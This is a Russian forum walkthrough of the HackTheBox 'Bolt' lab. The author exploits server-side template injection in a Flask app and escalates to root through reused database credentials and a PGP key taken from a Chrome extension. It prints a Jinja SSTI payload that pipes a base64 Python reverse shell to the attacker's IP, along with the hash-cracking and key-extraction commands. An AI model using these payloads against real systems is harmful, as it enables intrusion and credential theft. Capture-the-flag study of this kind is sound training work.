![]() |
https://forum.antichat.xyz/attachmen...0d1fb77996.png
Приветствую! Предисловие Продолжаем проходить лаборатории и CTF с сайта HackTheBox! В этой лаборатории мы разберём машину Bolt. В этой статье мы отыщем уязвимые пути и файлы в изображении Docker и найдем SSTI в веб приложении. Приступаем! Данные: Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt. Основная рабочая машина: Kali Linux 2021.4 IP адрес удаленной машины - 10.10.11.114 IP адрес основной машины - 10.10.14.66 Начальная разведка и сканирование портов: Запустим Nmap с параметрами -sC и -sV для сканирования нашего хоста: Код:
nmap -sC -sV 10.10.11.114Из открытых портов у нас: 22/tcp-SSH; 80/tcp-HTTP; 443/tcp-HTTPS; Также видим поддомен хоста - passbolt.bolt.htb.Добавим его в наши хосты: Код:
echo "10.10.11.114 bolt.htb passbolt.bolt.htb" >> /etc/hostshttps://forum.antichat.xyz/attachmen...5369058813.png Заметим что здесь отображен шаблон - Admin LTE. Перейдем теперь на вкладку - Pages и посмотрим, если что интересного в ней... https://forum.antichat.xyz/attachmen...5369162954.png Здесь нас встречает функционал из пяти страниц, для начала перейдем во вкладку - Sign in. https://forum.antichat.xyz/attachmen...5369259637.png Мы попали на страницу логина, попробуем теперь ввести дефолтные данные - admin:admin https://forum.antichat.xyz/attachmen...5369312704.png Но на наш запрос отвечают, что доступ не был получен, а также что мы ввели неправильный пароль. Тогда попробуем создать свой аккаунт. https://forum.antichat.xyz/attachmen...5369808901.png https://forum.antichat.xyz/attachmen...5369850344.png У нас не получилось, тогда давайте глянем что у нас во вкладке загрузки - Download. https://forum.antichat.xyz/attachmen...5369406762.png Здесь говорится о том, что веб-изображение готово к запуску, поэтому, возможно, исходный код должен быть в этом файле. Нас редиректит на страницу загрузки изображения докера. Давайте-же скачаем image.tar, архив довольно большой (154 Мб). После успешной загрузки я распакую его в папку image. Код:
tar -xf image.tarИтак здесь мы видим множество директорий внутри которых будет файл - layer.tar. https://forum.antichat.xyz/attachmen...5370074488.png Давайте попробуем распаковать этот архив и посмотреть что в нём содержится. Код:
tar -xf layer.tarОн содержит в себе две папки - root и tmp. Перейдем в папку root и посмотрим её содержимое. https://forum.antichat.xyz/attachmen...5370211230.png Пусто, как и в другой папке - tmp. Давайте проведем разведку в отношении поиска поддоменов этого сайта. Код:
ffuf -w /root/subdomains-top1million-110000.txt -u 'http://bolt.htb' -H 'Host: FUZZ.bolt.htb' -fw 10870Здесь мы можем обнаружить два поддомена, добавим их к уже существующим в /etc/hosts. После добавления давайте перейдем на один из них... Пускай это будет - demo! https://forum.antichat.xyz/attachmen...5370461470.png Но перейдя на него, мы опять видим форму входа в аккаунт, попробуем теперь зарегистрироваться здесь. https://forum.antichat.xyz/attachmen...5370512925.png Но даже не успев ввести данные мы видим то, что форма запрашивает у нас код приглашения. У нас его нет Тогда давайте пройдем на mail.bolt.htb... https://forum.antichat.xyz/attachmen...5370602596.png Да что ж такое! Везде требуется пароль и логин, тогда попробуем поразбирать архивы в нашем, уже скачанном архиве. Не маловато конечно папок с файлами внутри, но куда деваться) https://forum.antichat.xyz/attachmen...5370964977.png В папке Код:
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789adИдём далее, теперь перейдя уже в другую папку и распаковав очередной архив, мы заметим базу данных sqllite3. https://forum.antichat.xyz/attachmen...5371783413.png https://forum.antichat.xyz/attachmen...5371826854.png Теперь мы получили пароль администратора, пора сбрутить его! Используем JohnTheRipper: Код:
john --wordlist=/root/rockyou.txt hash.hashЕсть! Мы получили пароль админа - deadbolt Теперь используя admin - как логин и deadbolt - как пароль, войдем в аккаунт на основном сайте (bolt.htb). https://forum.antichat.xyz/attachmen...5376356510.png Но оказалось, что здесь ничего мы не сможем найти, т.к эта страница пустая и никакой функциональности здесь нет... Вы же наверное помните ту самую регистрацию по коду приглашения? Давайте же попробуем найти его в наших файлах. Ключ к SSTI: https://forum.antichat.xyz/attachmen...5377027322.png Так при поиске этого кода, мы можем наткнуться на ещё одни учетные данные support@bolt.htb:S#perS3crEt_007, но пока что оставим их в покое и продолжим поиски... https://forum.antichat.xyz/attachmen...5377157566.png А вот и ещё один нужный нам кусочек кода, который и принёс нам этот заветный код. Теперь регистрируемся на demo.bolt.htb! https://forum.antichat.xyz/attachmen...5377250177.png https://forum.antichat.xyz/attachmen...5377298850.png Иии есть! В URL мы видим что мы в админской панели. Но долгие поиски вектора на этом сайте, приносили лишь одни пустые html странички( Что же это за вкладка - Settings у нашего профиля? Давайте проверим её... https://forum.antichat.xyz/attachmen...5377555804.png По описанию здесь сказано, что это для обновления личной информации требуется подтверждение электронной почты. Хммм... Неужели нам предоставили доступ к mail.bolt.htb, проверим это! https://forum.antichat.xyz/attachmen...5377648861.png Да! Наши учетные данные были зарегистрированы и здесь. Теперь попробуем отправить письмо с подтверждением. https://forum.antichat.xyz/attachmen...5377733551.png Значит при запросе подтверждения почты, письмо приходит с ссылкой на это подтверждение от... support@bolt.htb! Вспомнив, что мы увидели те самые учетные данные от support@bolt.htb:S#perS3crEt_007, давайте зайдем в аккаунт службы поддержки. Но немного посидев и поняв, что эти креды не валидные я приуныл, но уже вскоре понял всю схему написания этого сообщения! Немного разьясню, помните тот самый момент когда мы нашли AdminLTE? Точно. Это Flask, а самая известная уязвимость для него это - SSTI! Server-side template injection (SSTI) - это уязвимость внедрения вредоносного кода в шаблон с последующим выполнением на стороне сервера. Через это самое письмо, мы попробуем внедрить наш вредносный код в приложение и заставим его выполнить его на своей стороне, чем самым мы сможем проникнуть в сам сервер! Ну что описание закончено, приступим! Для начала нашего эксперимента, отправим эту строку Код:
{{7*'7'}}https://forum.antichat.xyz/attachmen...5378649561.png Попробуем использовать параметр - name для выполнения нашей цели. https://forum.antichat.xyz/attachmen...5378703459.png И очередное письмо у нас на почте. Откроем же его! Ничего... Неужели это всё... А нет! К нам пришло ещё одно письмо с ответом на наше подтверждение! https://forum.antichat.xyz/attachmen...5378805625.png Есть! Здесь есть SSTI уязвимость, так как вывод строки Код:
{{7*'7'}}Код:
7777777Ну что, теперь осталось развить её! Давайте отправим себе сообщение с нашим реверс шеллом. Для этого я кодирую наш пэйлоад в base64: https://forum.antichat.xyz/attachmen...5379176428.png Далее я засуну его вывод в саму SSTI: Код: Код:
{{config.__class__.__init__.__globals__['os'].popen('echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjY2Iiw5OTk5KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiYmFzaCIpJw==" |base64 -d | bash').read()}}https://forum.antichat.xyz/attachmen...5379444997.png После отправки, бежим смотреть входящие письма! Подтверждаем... https://forum.antichat.xyz/attachmen...5379493910.png Есть! Мы в системе! Далее дело за малым. Повышение привилегий: https://forum.antichat.xyz/attachmen...5379664849.png В директории /home мы видим двух пользователей: eddie и clark. Но доступа к ним нет, тогда нужно найти его. Долго скитаяясь по машине, я ничего не находил, но вспомнив про passbolt, попытался найти его конфиг файл и у меня это удалось! Найдя его в /etc/passbolt/passbolt.php, мы можем прочитать его содержимое! https://forum.antichat.xyz/attachmen...5380052628.png И среди строк находим креды от MySQL - Код:
passbolt:rT2;jW7 use passboltdbКод:
mysql> show tables;Видим интересную таблицу secrets, выведем её. Код:
select * from secrets;Мы видим зашифрованное PGP сообщение, оставим его на потом. Среди таблиц заметим ещё одну таблицу пользователей - users. Теперь выведем и её содержимое. Код:
select * from users;Хм, пароля здесь нет, но мы также видим два пользователя. А что если попробовать использовать пароль от базы данных, для пользователя eddie или clark? https://forum.antichat.xyz/attachmen...5380477130.png Ура! Мы вошли под этим паролем в аккаунт eddie. https://forum.antichat.xyz/attachmen...5380532807.png Теперь давайте попробуем получить рут! Проверив кучу способов я нашёл сообщение от пользователя clark в /var/mail/eddie https://forum.antichat.xyz/attachmen...5380904416.png В нём говорится про то что мы должны иметь возможность войти в passbolt без нашего закрытого ключа, также это относится к whitepaper - passbolt. Погуглив про безопасность passbolt, я понял что закрытый ключ хранится в нашем конфиге расширения браузера! Давайте прочитаем его! Код:
cat /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.logДалее мы видим ключ PGP, мы можем скопировать и вставить его в текстовый файл и отформатировать его. Код:
echo -e 'НАШ ПРИВАТНЫЙ КЛЮЧ'После получения закрытого ключа и сообщения, запуск gpg в файле сообщения сообщит нам, с каким идентификатором ключа он зашифрован. https://forum.antichat.xyz/attachmen...5384476812.png Пора расшифровать его, будем использовать gpg2john для создания хэша этого ключа. https://forum.antichat.xyz/attachmen...5382137182.png Пора сбрутить его! После длительного ожидания мы можем получить наш пароль! https://forum.antichat.xyz/attachmen...5384196853.png Далее импортируем gpg ключ: Код:
gpg --import pgp.txtТеперь помня что у нас есть зашифрованное сообщение с базы данных, расшифруем его! Код:
gpg -d messageИ теперь мы получили чей-то пароль - Код:
Z(2rmxsNW(Z?3=p/9shttps://forum.antichat.xyz/attachmen...5385821200.png Странно, но почему то пароль не подошёл, тогда может попробовать зайти в аккаунт root? https://forum.antichat.xyz/attachmen...5385864272.png Получилось! Мы рут, теперь осталось взять его флаг. https://forum.antichat.xyz/attachmen...5385902601.png Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду |
| Время: 00:37 |